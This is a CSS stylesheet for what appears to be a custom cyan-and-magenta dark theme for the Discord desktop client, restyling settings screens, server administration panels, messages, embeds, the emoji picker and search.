.theme-dark .barBackground-2EEiLw {
    background-color: #000b1e;
}
.theme-dark .tierMarkerLabel-2PluTw {
    color: #0abdc6;
}
.theme-dark .tierMarkerBackground-3q29am {
    background-color: #133e7c;
}
.theme-dark .tierNoneText-2OvCv7 {
    color: #0abdc6;
}
.theme-dark .tierNoneContainer-3hhK3h {
    background-color: #133e7c;
}
.theme-dark .tierHeaderLocked-1s2JJz {
    background-color: #000b1e;
    color: #0abdc6;
}
.theme-dark .tierLock-3CSxSX {
    color: #133e7c;
}
.theme-dark .tierBody-16Chc9 {
    background-color: #133e7c;
    color: #0abdc6;
}
.theme-dark .carouselRightGradientEdge-2Z3H8D {
    background-image: -webkit-gradient(linear,right top,left top,from(#133e7c),to(rgba(54,57,63,0)));
    background-image: linear-gradient(270deg,#133e7c,rgba(54,57,63,0));
}
.theme-dark .footer-3rDWdC {
    background-color: #000b1e;
    -webkit-box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6);
    box-shadow: inset 0 1px 0 rgba(19, 62, 124, .6);
}
.theme-dark .lookLink-9FtZy-.colorPrimary-3b3xI6 {
    color: #ea00d9;
}
.theme-dark .lookLink-9FtZy-.colorPrimary-3b3xI6:hover .contents-18-Yxp {
    background-image: linear-gradient(0deg,transparent,transparent 1px,#ea00d9 0,#ea00d9 2px,transparent 0);
}
.theme-dark .giftIcon-2Pjbiy {
    color: #0abdc6;
}
.theme-dark .giftIcon-2Pjbiy:hover {
    color: #ea00d9;
}

/* 3.1.1.1. Nitro Gift */
.theme-dark .headerIcon-1OW_re, .theme-light .closeIcon-1Te9hO, .theme-light .headerIcon-1OW_re {
    color: #ea00d9;
}
.theme-dark .colorPrimary-3hws2f, .theme-light .colorPrimary-3hws2f {
    color: #0abdc6;
}
.theme-dark .activeBreadcrumb-p6aw-F {
    color: #0abdc6;
}
.theme-dark .breadcrumbWrapper-WmDjgG {
    color: rgba(10, 189, 198, .6);
}
.theme-dark .option-1l2vXE {
    background-color: #000b1e;
}
.theme-dark .price-3dKlQv {
    color: #0abdc6;
}
.theme-dark .interval-bfFUiQ {
    color: rgba(10, 189, 198, .6);
}
.theme-dark .lookFilled-1Gx00P.colorPrimary-3b3xI6 {
    color: #0abdc6;
    background-color: #133e7c;
}
.theme-dark .lookFilled-1Gx00P.colorPrimary-3b3xI6:hover {
    background-color: #711c91;
}
.theme-dark .backButtonColor-1zIPlh {
    color: #ea00d9;
}
.theme-dark .annualDiscount-1VxngV, .theme-light .annualDiscount-1VxngV {
    background-color: #00ff00;
    color: #000b1e;
}
.price-1rEl-z {
    color: #ea00d9;
    background-color: #fff;
}
.theme-dark .backButtonColor-N09dXJ {
    color: #ea00d9;
}
.lookOutlined-3sRXeN.colorBrand-3pXr91 {
    color: #0abdc6;
    background-color: #133e7c;
    border: none;
}
.lookOutlined-3sRXeN.colorBrand-3pXr91:hover {
    background-color: #711c91;
}

/* 3.1.2. Invite friends */
.theme-dark .inviteRowName-1tVaxu {
    color: #0abdc6;
}
.lookOutlined-3sRXeN.colorGreen-29iAKY {
    color: #0abdc6;
    background-color: #133e7c;
    border: none;
}
.theme-dark .checkBoxLabel-4PWfpk, .theme-dark .footerText-2a7NxZ, .theme-dark .subText-bCySlS {
    color: #0abdc6;
}

/* 3.1.3 Server Settings */

/* 3.1.3.1 General */
.theme-dark .avatarUploader-3XDtmn .removeButton-1hcZyG {
    color: #ff0000;
}
.theme-dark .avatarUploader-3XDtmn .removeButton-1hcZyG:hover {
    color: #ea00d9;
}
.theme-dark .avatarUploaderIndicator-2G-aIZ {
    background-color: #0abdc6;
}
.lookOutlined-3sRXeN.colorWhite-rEQuAQ {
    color: #0abdc6;
    background-color: #133e7c;
    border: none;
}
.lookOutlined-3sRXeN.colorWhite-rEQuAQ:hover {
    background-color: #711c91;
}
.theme-dark .closeButton-1tv5uR {
    border-color: #0abdc6;
}
.theme-dark .closeButton-1tv5uR:hover {
    background-color: rgba(113, 28, 145, .7);
}
#app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.vertical-V37hAW.flex-1O1GKY.directionColumn-35P_nr.da-vertical.da-flex.da-directionColumn.spacer-1fA9zc.da-spacer > div:nth-child(2) > div:nth-child(3) > div > div.contentRegion-3nDuYy.da-contentRegion > div > div > div > div.toolsContainer-1edPuj.da-toolsContainer > div > div > div.closeButton-1tv5uR.da-closeButton > svg > g > path.fill {
    fill: #0abdc6;
}
.theme-dark .keybind-KpFkfr {
    color: #0abdc6;
}
.input-cIJ7To.focused-1mmYsC, .input-cIJ7To:focus {
    border-color: #0abdc6;
}
.lookGhost-2Fn_0-.colorGrey-2DXtkV {
    color: #0abdc6;
    background-color: #133e7c;
}
.lookGhost-2Fn_0-.colorBrand-3pXr91 {
    color: #0abdc6;
    background-color: #711c91;
}
.css-548n9r-singleValue {
    color: #0abdc6;
}
.css-181m2lf-menu {
    background-color: #000b1e;
    border-color: #0abdc6;
}
.themeDefault-24hCdX.valueChecked-m-4IJZ {
    background-color: #711c91;
}
.size-3rFEHg:after {
    background-color: #0abdc6;
}
.themeDefault-24hCdX {
    background-color: #133e7c;
}

/* 3.1.3.1.1 Region chooser */
.bda-dark .regionSelectModal-12e-57 {
    background: #091833;
}
.regionSelectModal-12e-57 .regionSelectModalHeader-21khC1 {
    color: #0abdc6;
}
.bda-dark .regionSelectModal-12e-57 .regionSelectModalOption-2DSIZ3 {
    background: #000b1e;
    border: 2px solid #133e7c;
}
.regionSelectModal-12e-57 .regionSelectModalFooter-20C5iA {
    color: #0abdc6;
}

/* 3.1.3.2 Registry */
#app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.vertical-V37hAW.flex-1O1GKY.directionColumn-35P_nr.da-vertical.da-flex.da-directionColumn.spacer-1fA9zc.da-spacer > div:nth-child(2) > div:nth-child(3) > div > div.contentRegion-3nDuYy.da-contentRegion > div.toolsContainer-1edPuj.da-toolsContainer > div > div > div.closeButton-1tv5uR.da-closeButton > svg > g > path.fill {
    fill: #0abdc6;
}
.theme-dark .quickSelect-3BxO0K {
    color: #0abdc6;
}
.theme-dark .popoutList-T9CKZQ {
    background: #091833;
}
#app-mount > div:nth-child(4) > div.theme-dark.popouts-2bnG9Z.da-popouts > div > div > div.scrollerWrap-2lJEkd.firefoxFixScrollFlex-cnI2ix.da-scrollerWrap.da-firefoxFixScrollFlex.scrollerThemed-2oenus.da-scrollerThemed.themeGhostHairline-DBD-2d.scrollerTrack-1ZIpsv.da-scrollerTrack > div > div.flex-1xMQg5.flex-1O1GKY.da-flex.da-flex.horizontal-1ae9ci.horizontal-2EEEnY.flex-1O1GKY.directionRow-3v3tfG.justifyStart-2NDFzi.alignCenter-1dQNNs.noWrap-3jynv6.selectableItem-1MP3MQ.da-selectableItem.selected-31soGA.da-selected {
    color: #0abdc6 !important;
    background: #711c91 !important;
}
#app-mount > div:nth-child(4) > div.theme-dark.popouts-2bnG9Z.da-popouts > div > div > div.scrollerWrap-2lJEkd.firefoxFixScrollFlex-cnI2ix.da-scrollerWrap.da-firefoxFixScrollFlex.scrollerThemed-2oenus.da-scrollerThemed.themeGhostHairline-DBD-2d.scrollerTrack-1ZIpsv.da-scrollerTrack > div > div.flex-1xMQg5.flex-1O1GKY.da-flex.da-flex.horizontal-1ae9ci.horizontal-2EEEnY.flex-1O1GKY.directionRow-3v3tfG.justifyStart-2NDFzi.alignCenter-1dQNNs.noWrap-3jynv6.selectableItem-1MP3MQ.da-selectableItem.selected-31soGA.da-selected > div.flex-1xMQg5.flex-1O1GKY.da-flex.da-flex.horizontal-1ae9ci.horizontal-2EEEnY.flex-1O1GKY.directionRow-3v3tfG.justifyStart-2NDFzi.alignStretch-DpGPf3.wrap-ZIn9Iy.marginReset-236NPn.da-marginReset > svg > g > polyline {
    stroke: #00ff00 !important;
}
.theme-dark .selectableItem-1MP3MQ {
    color: #0abdc6;
}
.theme-dark .selectableItem-1MP3MQ:hover {
    background-color: rgba(19, 62, 124, .6)
}
.theme-dark .popoutListEmpty-voOEBJ {
    color: #0abdc6;
}
.theme-dark .headerClickable-2IVFo9, .theme-dark .headerDefault-1wrJcN {
    background-color: rgba(19, 62, 124, .2);
    color: #0abdc6;
}
.theme-dark .auditLog-3jNbM6 {
    color: #0abdc6;
    border-color: rgba(19, 62, 124, .5);
}
.theme-dark .userHook-3AdCBF {
    color: #ea00d9;
}
.theme-dark .auditLog-3jNbM6 strong {
    color: #ea00d9;
}
.theme-dark .timestamp-1mruiI {
    color: rgba(10, 189, 198, .6);
}
.theme-dark .expandForeground-1nZ4VR {
    stroke: rgba(10, 189, 198, .6);
}
.theme-dark .headerExpanded-CUEwZ5 {
    background-color: rgba(0, 11, 30, .6);
    color: #0abdc6;
}
.theme-dark .changeDetails-bk98pu {
    background-color: rgba(0, 11, 30, .2);
}
.theme-dark .divider-1pnAR2 {
    background-color: rgba(19, 62, 124, .6);
}
.theme-dark .auditLog-3jNbM6:hover .expandForeground-1nZ4VR {
    stroke: #0abdc6;
}

/* 3.1.3.3 Roles & Emoji */
#app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.vertical-V37hAW.flex-1O1GKY.directionColumn-35P_nr.da-vertical.da-flex.da-directionColumn.spacer-1fA9zc.da-spacer > div:nth-child(2) > div:nth-child(3) > div > div.contentRegion-3nDuYy.da-contentRegion > div > div > div > div.contentColumn-2hrIYH.da-contentColumn.contentColumnMinimal-2iX-kP.da-contentColumnMinimal > div > div > div > div > div > div.flex-1xMQg5.flex-1O1GKY.da-flex.da-flex.horizontal-1ae9ci.horizontal-2EEEnY.flex-1O1GKY.directionRow-3v3tfG.justifyStart-2NDFzi.alignStart-H-X2h-.noWrap-3jynv6 > div.flexChild-faoVW3.da-flexChild.switchEnabled-V2WDBB.switch-3wwwcV.da-switchEnabled.da-switch.valueChecked-m-4IJZ.value-2hFrkk.sizeDefault-2YlOZr.size-3rFEHg.themeDefault-24hCdX {
    background-color: #711c91 !important;
}
.theme-dark .card-FDVird:before {
    background-color: rgba(19, 62, 124, .6);
    border-color: rgba(10, 189, 198, .6);
}
.theme-dark .emojiRow-zIc7ZX {
    -webkit-box-shadow: 0 1px 0 0 rgba(19, 62, 124, .3);
    box-shadow: 0 1px 0 0 rgba(19, 62, 124, .3);
}
.theme-dark .emojiAliasInput-1y-NBz .emojiInput-1aLNse {
    background-color: #091833;
}

/* 3.1.3.4 Webhooks */
.theme-dark .lookOutlined-3sRXeN.colorPrimary-3b3xI6 {
    color: #0abdc6;
    background-color: #133e7c;
    border: none;
}
.theme-dark .lookOutlined-3sRXeN.colorPrimary-3b3xI6:hover {
    background-color: #711c91;
}
.theme-dark .hiddenMessage-1iiFV5, .theme-dark .inputDefault-A2ud2y {
    color: #ea00d9;
}
.lookGhost-2Fn_0-.colorGrey-2DXtkV:hover {
    background-color: #711c91;
}
.lookLink-9FtZy-.colorGrey-2DXtkV {
    color: #ff0000;
}
.lookLink-9FtZy-.colorGrey-2DXtkV:hover .contents-18-Yxp {
    background-image: linear-gradient(0deg,transparent,transparent 1px,#ff0000 0,#ff0000 2px,transparent 0);
}
.theme-dark .button-2CgfFz {
    background-color: #133e7c;
    -webkit-box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 1px 5px 0 rgba(0,0,0,.3);
    box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 1px 5px 0 rgba(0,0,0,.3);
}
.theme-dark .button-2CgfFz:hover {
    background-color: #711c91;
    -webkit-box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 1px 5px 0 rgba(0,0,0,.3);
    box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 1px 5px 0 rgba(0,0,0,.3);
}

/* 3.1.3.5 Nitro Boost Status */
#app-mount > div.app-19_DXt.da-app > div > div.layers-3iHuyZ.da-layers.vertical-V37hAW.flex-1O1GKY.directionColumn-35P_nr.da-vertical.da-flex.da-directionColumn.spacer-1fA9zc.da-spacer > div:nth-child(2) > div:nth-child(3) > div > div.sidebarRegion-VFTUkN.da-sidebarRegion > div > div > div > div > div:nth-child(11) {
    color: #ea00d9 !important;
    background: none !important;
}
.theme-dark .background-3xPPFc {
    color: #000b1e;
}
.theme-dark .tierInProgress-3mBoXq {
    background-color: #133e7c;
}
.theme-dark .tierHeaderLocked-1a2opw {
    background-color: #000b1e;
    color: #0abdc6;
}
.theme-dark .tierLock-1oFMOZ {
    color: #133e7c;
}
.theme-dark .tierBody-x9kBBp {
    background-color: #133e7c;
    color: #0abdc6;
}

/* 3.1.3.6 Users administration*/
.theme-dark .pruneLink-3V7wes {
    color: #ff0000;
}
.theme-dark .member-1q7VfX .name-8yzEIY {
    color: #0abdc6;
}
.theme-dark .member-1q7VfX .tag-1YGWN9 {
    color: rgba(10, 189, 198, .6);
}
.itemBase-tz5SeC.danger-2dXSTE, .itemBase-tz5SeC.danger-2dXSTE:hover {
    color: #ff0000;
}
.theme-dark .member-1q7VfX .overflowIconFg-QMRRFI {
    fill: #0abdc6;
}
.checkbox-3kaeSU .checkboxInner-3yjcPe .checkboxElement-1qV33p:checked+span {
    background-color: #711c91;
    border-color: #711c91;
}
.checkbox-3kaeSU .checkboxInner-3yjcPe .checkboxElement-1qV33p:checked+span:after {
    border-color: #00ff00;
}
.theme-dark .actionButton-VzECiy {
    border-color: #0abdc6;
    color: #0abdc6;
    background: transparent;
}
.theme-dark .autocompleteArrow-Zxoy9H, .theme-dark .autocompleteHeaderBackground-30T70q {
    background-color: #000b1e;
}
.theme-dark .container-VSDcQc .headerText-3i6A8K {
    color: #0abdc6;
}
.theme-dark .container-VSDcQc .input-1ppKdn {
    color: #0abdc6;
}
.theme-dark .row-rrHHJU.selected-1pIgLL {
    background: -webkit-gradient(linear,left top,right top,from(#133e7c),to(#133e7c));
    background: linear-gradient(90deg,#133e7c,#133e7c);
}
.theme-dark .container-VSDcQc .sectionTag-pXyto9 {
    background-color: #091833;
    color: #0abdc6;
}
.theme-dark .member-1q7VfX .roleWrapper-1Hde_V {
    color: #0abdc6;
}

/* 3.1.3.7 Delete server */
.cardWarning-2yPNAa {
    background-color: rgba(245, 120, 0, .5);
    border-color: rgba(245, 120, 0, .5);
}
.white-1VR_aZ {
    color: #0abdc6;
}
.lookFilled-1Gx00P.colorRed-1TFJan {
    color: #fff;
    background-color: #ff0000;
}
.lookFilled-1Gx00P.colorRed-1TFJan:hover {
    background-color: rgba(255,0,0,.7);
}

/* 3.1.4 Notification settings */
.css-mhi7q3-placeholder {
    color: #0abdc6;
}
.theme-dark .guildName-3WI6ml, .theme-dark .override-2YgiXd, .theme-dark .overrideHighlight-YPcBxt {
    color: rgba(10, 189, 198, .8);
}

/* 3.2 Tips & New messages */
.channelNotices-41mJbj .channelNotice-1-XFjC.quickswitcher-35bYg4 {
    background: #000b1e url(/assets/8fdb69b7684b8e1ecb3fdde909daca41.svg) no-repeat center 35px;
}
.channelNotices-41mJbj .channelNotice-1-XFjC .message-3SOT5P .btn-11C5_u {
    color: #0abdc6;
    background-color: #133e7c;
}
.channelNotices-41mJbj .channelNotice-1-XFjC .message-3SOT5P {
    color: #133e7c;
}
.bar-30k2ka {
    color: #0abdc6;
}
.unread-1xRYoj:hover {
    background-color: #711c91;
    opacity: .9;
}

/* 3.3 Connection */
.rtcConnectionQualityFine-2J6i8z .ping-2NgC8E {
    color: #00ff00;
}
.rtcConnectionStatusConnected-VRZDjy {
    color: #00ff00;
}

/* 3.3.1 Connection info */
.theme-dark .container-2x5lvQ .header-2C89wJ {
    background-color: #000b1e;
}
.white-3xi-nx {
    color: #0abdc6;
}
.theme-dark .container-2x5lvQ section {
    background-color: #091833;
}
.theme-dark .container-2x5lvQ section p {
    color: #0abdc6;
}
.theme-dark .container-2x5lvQ section strong {
    color: #ea00d9;
}
.theme-dark .secured-1Yihly {
    color: #00ff00;
}
.theme-dark .debugButton-1Zec0y {
    color: #ea00d9;
}
.theme-dark .item-30Gz8g {
    color: #0abdc6;
}
.theme-dark .itemValue-JNy0LV {
    color: rgba(10, 189, 198, .6);
}

/* 4. Message View */
.dividerRed-MKoLlr {
    color: #ea00d9;
}
.dividerRed-MKoLlr .dividerContent-2L12VI:after, .dividerRed-MKoLlr .dividerContent-2L12VI:before {
    background-color: #ea00d9;
}
.isUnread-3Ef-o9 {
    border-color: #ea00d9;
}
.isUnread-3Ef-o9 .content-1o0f9g {
    color: #ea00d9;
}
.unreadPill-2HyYtt {
    color: #091833;
    background-color: #ea00d9;
}
.unreadPillCapStroke-7rkHbg {
    color: #ea00d9;
    fill: #ea00d9;
}
.theme-dark .wrapper-3WhCwL {
    color: #ea00d9;
    background-color: rgba(113, 28, 145, .1);
}
.theme-dark .wrapperHover-1GktnT:hover {
    color: #ea00d9;
    background-color: rgba(113, 28, 145, .5);
}
.theme-dark .edited-DL9ECl {
    color: rgba(10, 189, 198, .7);
}
.newMessagesBar-265mhP {
    background-color: #133e7c;
}
.newMessagesBar-265mhP:hover {
    background-color: #711c91;
}
.barButtonBase-2uLO1z {
    color: #0abdc6;
}

/* 4.1. Message Buttons */
.barButtonBase-3UKlW2 {
    color: #0abdc6;
}
.jumpToPresentBar-9P20AM:hover {
    background: #711c91;
}
.newMessagesBar-mujexs {
    background-color: #133e7c;
}
.newMessagesBar-mujexs:hover {
    background-color: #711c91;
}
.hasMore-3e72_v {
    -webkit-box-shadow: none;
    box-shadow: none;
    color: #0abdc6;
    background-color: #133e7c;
}
.hasMore-3e72_v:hover {
    background-color: #711c91;
}

/* 4.2. Embed views */
.theme-dark .embedInner-1-fpTo {
    background-color: rgba(19, 62, 124, .3);
    border-color: rgba(19, 62, 124, .6);
}
.theme-dark .embedPill-1Zntps {
    background-color: #0abdc6;
}
.theme-dark .embedAuthorName-3mnTWj, .theme-dark .embedFieldName-NFrena, .theme-dark .embedTitle-3OXDkz {
    color: rgba(234, 0, 217, .8) !important;
}
.theme-dark .embedDescription-1Cuq9a, .theme-dark .embedFieldValue-nELq2s, .theme-dark .embedFooterText-28V_Wb, .theme-dark .embedProvider-3k5pfl {
    color: #0abdc6;
}
.embedProvider-3k5pfl {
    color: #0abdc6 !important;
}
.theme-dark .wrapper-35wsBm {
    background: rgba(0, 11, 30, .5);
    border-color: rgba(19, 62, 124, .8);
}
.theme-dark .guildName-2hvnt_ {
    color: #0abdc6;
}
.theme-dark .guildDetail-1nRKNE {
    color: rgba(10, 189, 198, .6);
}
.theme-dark .guildIconImage-3qTk45 {
    background-color: #133e7c;
}
.guildNameExpired-2Hp80V {
    color: #ff0000;
}
.theme-dark .guildIconExpired-2Qcq05 {
    background-color: rgba(19, 62, 124, .6);
}
.theme-dark .attachment-33OFj0 {
    border-color: rgba(19, 62, 124, .8);
    background-color: rgba(0, 11, 30, .5);
}
.metadata-3WGS0M {
    color: #0abdc6;
}
.cancelButton-3hVEV6, .downloadButton-23tKQp {
    color: #0abdc6;
}
.cancelButton-3hVEV6:hover, .downloadButton-23tKQp:hover {
    color: #ea00d9;
}

/* 4.2.1 Audio */
.theme-dark .wrapperAudio-1jDe0Q {
    background-color: rgba(0, 11, 30, .5);
    border-color: rgba(19, 62, 124, .6);
}
.audioMetadata-3zOuGv .metadataSize-2UOOLK {
    color: #0abdc6;
}
.audioMetadata-3zOuGv .metadataIcon-2FyCKU {
    color: #0abdc6;
}
.audioMetadata-3zOuGv .metadataIcon-2FyCKU:hover {
    color: #ea00d9;
    opacity: 1;
}
.audioControls-2HsaU6, .videoControls-2kcYic {
    background-color: rgba(19, 62, 124, .3);
}
.wrapper-2TxpI8 {
    color: #0abdc6;
}
.mediaBarWrapper-3D7r67, .mediaBarWrapper-3D7r67:after, .mediaBarWrapper-3D7r67:before {
    background-color: rgba(0, 11, 30, 1);
}
.mediaBarGrabber-1FqnbN, .mediaBarProgress-1xaPtl, .mediaBarProgress-1xaPtl:after, .mediaBarProgress-1xaPtl:before {
    background-color: #711c91;
}
.buffer-26XPkd, .buffer-26XPkd:after, .buffer-26XPkd:before {
    background-color: #0abdc6;
}

/* 4.3 Quotes */
.theme-dark .isMentioned-N-h9aa {
    background: rgba(19, 62, 124, .5);
}
.isMentionedCozy-3isp7y:after {
    background: rgba(255, 255, 0, .8);
    border-left: 4px solid rgba(255, 255, 0, .1);
}

/* 4.4. Edit & Delete */
.theme-dark .operations-36ENbA {
    color: rgba(10, 189, 198, .6);
}
.operations-36ENbA>a {
    color: #ea00d9;
}
.theme-dark .message-2qRu38 {
    background-color: rgba(113, 28, 145, .3);
    -webkit-box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 2px 10px 0 rgba(0,0,0,.2);
    box-shadow: 0 0 0 1px rgba(19, 62, 124, .6), 0 2px 10px 0 rgba(0,0,0,.2);
}

/* 4.5. Code */
.theme-dark .hljs-addition, .theme-dark .hljs-keyword, .theme-dark .hljs-selector-tag {
    color: #00ff00;
}
.theme-dark .hljs-doctag, .theme-dark .hljs-literal, .theme-dark .hljs-meta .hljs-meta-string, .theme-dark .hljs-number, .theme-dark .hljs-regexp, .theme-dark .hljs-string {
    color: #f57800;
}
.theme-dark .username-_4ZSMR {
    color: #ea00d9;
}
.theme-dark .hljs-attr, .theme-dark .hljs-attribute, .theme-dark .hljs-class .hljs-title, .theme-dark .hljs-template-variable, .theme-dark .hljs-type, .theme-dark .hljs-variable {
    color: #00ff00;
}
.theme-dark .hljs-bullet, .theme-dark .hljs-link, .theme-dark .hljs-meta, .theme-dark .hljs-meta .hljs-keyword, .theme-dark .hljs-selector-attr, .theme-dark .hljs-selector-pseudo, .theme-dark .hljs-subst, .theme-dark .hljs-symbol {
    color: #ff0000;
}
.theme-dark .hljs-comment, .theme-dark .hljs-quote {
    color: rgba(10, 189, 198, .4);
}
.theme-dark .blockquoteDivider-2hH8H6 {
    background-color: #711c91;
}
.blockquoteContainer-U5TVEi blockquote {
    background-color: #000b1e;
}
.theme-dark .dividerEnabled-2TTlcf {
    border-bottom-color: rgba(19, 62, 124, .3);
}

/* 4.6. Typing */
.theme-dark .base-gE7OpD span {
    color: #0abdc6;
}

/* 5. Message Box */

/* 5.1. File modal */
.uploadModal-2ifh8j {
    background-color: #091833;
}
.uploadModal-2ifh8j .inner-3nWsbo {
    color: #0abdc6;
}
.uploadModal-2ifh8j .inner-3nWsbo {
    border: 2px dashed #ea00d9;
    color: #0abdc6;
}
.uploadModal-2ifh8j .footer-3mqk7D {
    background-color: #000b1e;
}
.lookLink-9FtZy-.colorWhite-rEQuAQ {
    color: #ff0000;
}
.theme-dark .checked-3_4uQ9 {
    border-color: #0abdc6 !important;
    background-color: #711c91;
}
.theme-dark .checkbox-1ix_J3 {
    border-color: #133e7c !important;
}
.theme-brand .inner-zqa7da {
    background-color: #133e7c;
}
.theme-brand .textArea-2Spzkt {
    color: #0abdc6;
}
.lookInverted-2D7oAl.colorBrand-3pXr91 {
    color: #0abdc6;
    background-color: #133e7c;
}
.lookInverted-2D7oAl.colorBrand-3pXr91:hover {
    background-color: #711c91;
}
#app-mount > div:nth-child(4) > div:nth-child(2) > div.modal-3c3bKg.da-modal > div.inner-1ilYF7.da-inner > div > div.footer-3mqk7D.da-footer.hasSpoilers-1IRtQC.da-hasSpoilers > label > div.checkbox-1ix_J3.flexCenter-3_1bcw.flex-1O1GKY.justifyCenter-3D2jYp.alignCenter-1dQNNs.da-checkbox.da-flexCenter.da-flex.da-justifyCenter.da-alignCenter.box-mmYMsp.checked-3_4uQ9.da-checked > svg > g > polyline {
    stroke: #00ff00;
}
.theme-dark .uploadModal-2ifh8j {
    background-color: #091833;
}


/* 5.2. Nitro */
.theme-dark .giftBlurb-4VKZWm, .theme-dark .trialNote-wEO1RW, .theme-dark .trialText-2gR3-S {
    color: #0abdc6;
}
.theme-dark .yearlyDiscount-CT_3BQ, .theme-light .yearlyDiscount-CT_3BQ {
    background-color: #133e7c;
    color: #00ff00;
}

/* 5.3. Gifs */
.theme-dark .autocomplete-1vrmpx {
    background-color: #000b1e;
}
.categoryLoader-1UbzZM {
    background-color: #091833;
}
.theme-dark .container-cMG81i {
    background-color: #133e7c;
}
.theme-dark .backButton-JyKGC1 {
    color: #0abdc6;
}
.theme-dark .backButton-JyKGC1:hover {
    color: #ea00d9;
}

/* 5.4. Emojis */

.emojiPicker-3m1S-j {
    background-color: #000b1e !important;
    border: 1px solid #0abdc6;
}
.lightTheme-3LGLQs.container-2XeR5Z {
    background-color: #133e7c !important;
}
.lightTheme-3LGLQs .input-1Rv96N {
    color: #0abdc6 !important;
}
.lightTheme-3LGLQs .icon-3cZ1F_ {
    color: #0abdc6 !important;
}
.diversitySelector-tmmMv0 .popout-2nUePc {
    background: #000b1e !important;
    border: 1px solid #0abdc6 !important;
}
.diversitySelector-tmmMv0 .popout-2nUePc .item-16cXuq:hover {
    background-color: #133e7c;
}
.emojiPicker-3m1S-j .dimmer-3iH-5D.visible-3k45bQ {
    background-color: #000b1e !important;
}
.emojiPicker-3m1S-j .category-2U57w6 {
    color: #ea00d9;
    background: #000b1e !important;
}
.emojiPicker-3m1S-j .categories-1feg4n {
    border-top: 1px #133e7c !important;
}
.emojiPicker-3m1S-j .categories-1feg4n .item-16cXuq.selected-39BZ4S {
    border-bottom-color: #ea00d9;
}
.bda-dark #bda-qem button {
    background: #000b1e;
    border-left: 1px solid #0abdc6;
    box-shadow: #0abdc6 1px 0 0 0;
    color: #0abdc6;
}
.bda-dark #bda-qem button:hover {
    background-color: #133e7c;
}
.bda-dark #bda-qem button.active {
    background-color: #091833;
}
.bda-dark .emojiPicker-3m1S-j .header-1nkwgG .searchBar-2pWH0_ {
    background-color: #133e7c;
}
.bda-dark #bda-qem {
    border-bottom: 1px solid #0abdc6!important;
    background: #000b1e;
}
.bda-dark #bda-qem-favourite-container, .bda-dark #bda-qem-twitch-container {
    background-color: #000b1e;
}
#bda-qem button.active, #bda-qem button.active:hover {
    background-color: #711c91;
}
#bda-qem button {
    border-left: 1px solid #000b1e;
    background: #133e7c;
    color: #0abdc6;
}
#bda-qem button:hover {
    background: rgba(19, 62, 124, .6);
}
#bda-qem-twitch-container, #bda-qem-favourite-container {
    background-color: #000b1e;
}

/* 5.5. @here and @everyone warnings */
.theme-dark .contentTitle-2tG_sM {
    color: #0abdc6;
}
.theme-dark .contentTitle-2tG_sM strong {
    color: #ea00d9;
}
.theme-dark .selectorSelected-1_M1WV {
    background-color: #133e7c;
}
.theme-dark .content-Qb0rXO {
    color: #ea00d9;
}
.theme-dark .description-11DmNu, .theme-dark .descriptionUsername-J_75O8 {
    color: #0abdc6;
}
.theme-dark .descriptionDiscriminator-3vUOCc {
    color: rgba(10, 189, 198, .6);
}
.theme-dark .body-2iXqIL {
    color: #0abdc6;
}
.theme-dark .header-3_S6dz {
    color: #ea00d9;
}
.theme-dark .everyonePopout-nEbJY3 {
    background-color: #091833;
    -webkit-box-shadow: 0 2px 10px 0 rgba(10, 189, 198, .6);
    box-shadow: 0 2px 10px 0 rgba(10, 189, 198, .6);
}
.theme-dark .footer-2aTx0s {
    background-color: #000b1e;
    color: #0abdc6;
    fill: #0abdc6 !important;
}
#app-mount > div.popouts-2bnG9Z.da-popouts > div.noArrow-2foL9g.da-noArrow.noShadow-3pu20z.da-noShadow.popout-2iWAc-.da-popout.popoutTopLeft-3B0mFf > div > form > div.footer-2aTx0s.da-footer > svg > g > path {
    fill: #0abdc6 !important;
}
.theme-dark .buttonHint-2OxJB8 strong {
    color: #ea00d9;
}
.theme-dark .buttonHint-2OxJB8 {
    color: #0abdc6;
}


/* 6. Top bar */

/* 6.1. Pinned messages */
.theme-dark .header-ykumBX {
    background-color: #091833;
}
.theme-dark .messagesPopout-24nkyi {
    background-color: #000b1e;
}
.theme-dark .messagesPopoutWrap-1MQ1bW {
    border: 1px solid rgba(10, 189, 198,.6);
}
.theme-dark .messageGroupWrapper-o-Zw7G {
    border-color: rgba(19, 62, 124,.6);
    background-color: #091833;
}
.theme-dark .messageGroupWrapper-o-Zw7G:hover {
    border-color: rgba(10, 189, 198,.6);
}
.theme-dark .messageGroupWrapper-o-Zw7G:hover .actionButtons-1sUUug {
    -webkit-box-shadow: 0 0 6px 4px #000b1e;
    box-shadow: 0 0 6px 4px #000b1e;
    background-color: #000b1e;
}
.theme-dark .jumpButton-3DTcS_ {
    background-color: #133e7c;
    color: #0abdc6;
}
.theme-dark .jumpButton-3DTcS_:hover {
    color: #0abdc6;
    background-color: #711c91;
}
.theme-dark .header-ykumBX .title-3pkaKd {
    color: #0abdc6;
}
.theme-dark .emptyPlaceholder-1zh-Eu .body-bvcIjN {
    color: #0abdc6;
}
.theme-dark .footer-1kmXd4 {
    background-color: #091833;
}

/* 6.2. Search */
.theme-dark .container-3ayLPN {
    background-color: #091833;
}
.theme-dark .elevationBorderHigh-2WYJ09 {
    -webkit-box-shadow: 0 0 0 1px rgba(10, 189, 198,.6), 0 2px 10px 0 rgba(0,0,0,.2);
    box-shadow: 0 0 0 1px rgba(10, 189, 198,.6), 0 2px 10px 0 rgba(0,0,0,.2);
}
.theme-dark .resultsGroup-r_nuzN .header-2N-gMV, .theme-dark .resultsGroup-r_nuzN .plusIcon-v0BTrL, .theme-dark .resultsGroup-r_nuzN .searchClearHistory-2cSSMO, .theme-dark .resultsGroup-r_nuzN .searchLearnMore-3SQUAj a {
    color: #0abdc6;
}
.theme-dark .searchOption-zQ-1l6 .filter-3Y_im- {
    color: #0abdc6;
}
.theme-dark .searchOption-zQ-1l6 .answer-1n6g43 {
    color: rgba(10, 189, 198, 0.5);
}
